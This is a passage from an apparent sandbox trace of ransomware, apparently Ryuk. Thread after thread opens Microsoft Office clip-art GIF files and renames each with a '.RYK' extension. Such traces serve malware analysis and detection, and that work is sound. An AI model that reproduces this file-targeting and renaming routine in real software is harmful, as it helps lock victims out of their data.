	[0232.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.031] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1302
	os_tid = 0x1a90

	[0232.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", dwFileAttributes=0x80) returned 0
	[0232.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1303
	os_tid = 0x1a94

	[0232.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", dwFileAttributes=0x80) returned 0
	[0232.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.868] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1304
	os_tid = 0x1a98

	[0232.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", dwFileAttributes=0x80) returned 0
	[0232.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.033] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1305
	os_tid = 0x1a9c

	[0232.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", dwFileAttributes=0x80) returned 0
	[0232.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1306
	os_tid = 0x1aa0

	[0232.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", dwFileAttributes=0x80) returned 0
	[0232.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1307
	os_tid = 0x1aa4

	[0232.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", dwFileAttributes=0x80) returned 0
	[0232.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1308
	os_tid = 0x1aa8

	[0232.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", dwFileAttributes=0x80) returned 0
	[0232.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1309
	os_tid = 0x1aac

	[0232.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", dwFileAttributes=0x80) returned 0
	[0232.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.864] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1310
	os_tid = 0x1ab0

	[0232.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", dwFileAttributes=0x80) returned 0
	[0232.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.863] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1311
	os_tid = 0x1ab4

	[0232.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", dwFileAttributes=0x80) returned 0
	[0232.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1312
	os_tid = 0x1ab8

	[0232.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF", dwFileAttributes=0x80) returned 0
	[0232.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1314
	os_tid = 0x1ac0

	[0232.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF", dwFileAttributes=0x80) returned 0
	[0232.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1315
	os_tid = 0x1ac4

	[0232.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF", dwFileAttributes=0x80) returned 0
	[0232.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1316
	os_tid = 0x1ac8

	[0232.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF", dwFileAttributes=0x80) returned 0
	[0232.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.814] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1317
	os_tid = 0x1acc

	[0232.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF", dwFileAttributes=0x80) returned 0
	[0232.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.069] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1318
	os_tid = 0x1ad0

	[0232.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF", dwFileAttributes=0x80) returned 0
	[0232.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.817] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1319
	os_tid = 0x1ad4

	[0232.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF", dwFileAttributes=0x80) returned 0
	[0232.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1320
	os_tid = 0x1ad8

	[0232.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF", dwFileAttributes=0x80) returned 0
	[0232.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1321
	os_tid = 0x1adc

	[0232.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF", dwFileAttributes=0x80) returned 0
	[0232.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.052] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1322
	os_tid = 0x1ae0

	[0232.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF", dwFileAttributes=0x80) returned 0
	[0232.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1323
	os_tid = 0x1ae4

	[0232.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF", dwFileAttributes=0x80) returned 0
	[0232.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.062] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1324
	os_tid = 0x1ae8

	[0232.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF", dwFileAttributes=0x80) returned 0
	[0233.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.060] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1325
	os_tid = 0x1aec

	[0232.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF", dwFileAttributes=0x80) returned 0
	[0233.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1326
	os_tid = 0x1af0

	[0232.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF", dwFileAttributes=0x80) returned 0
	[0233.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.199] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1327
	os_tid = 0x1af4

	[0232.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF", dwFileAttributes=0x80) returned 0
	[0233.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.055] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1328
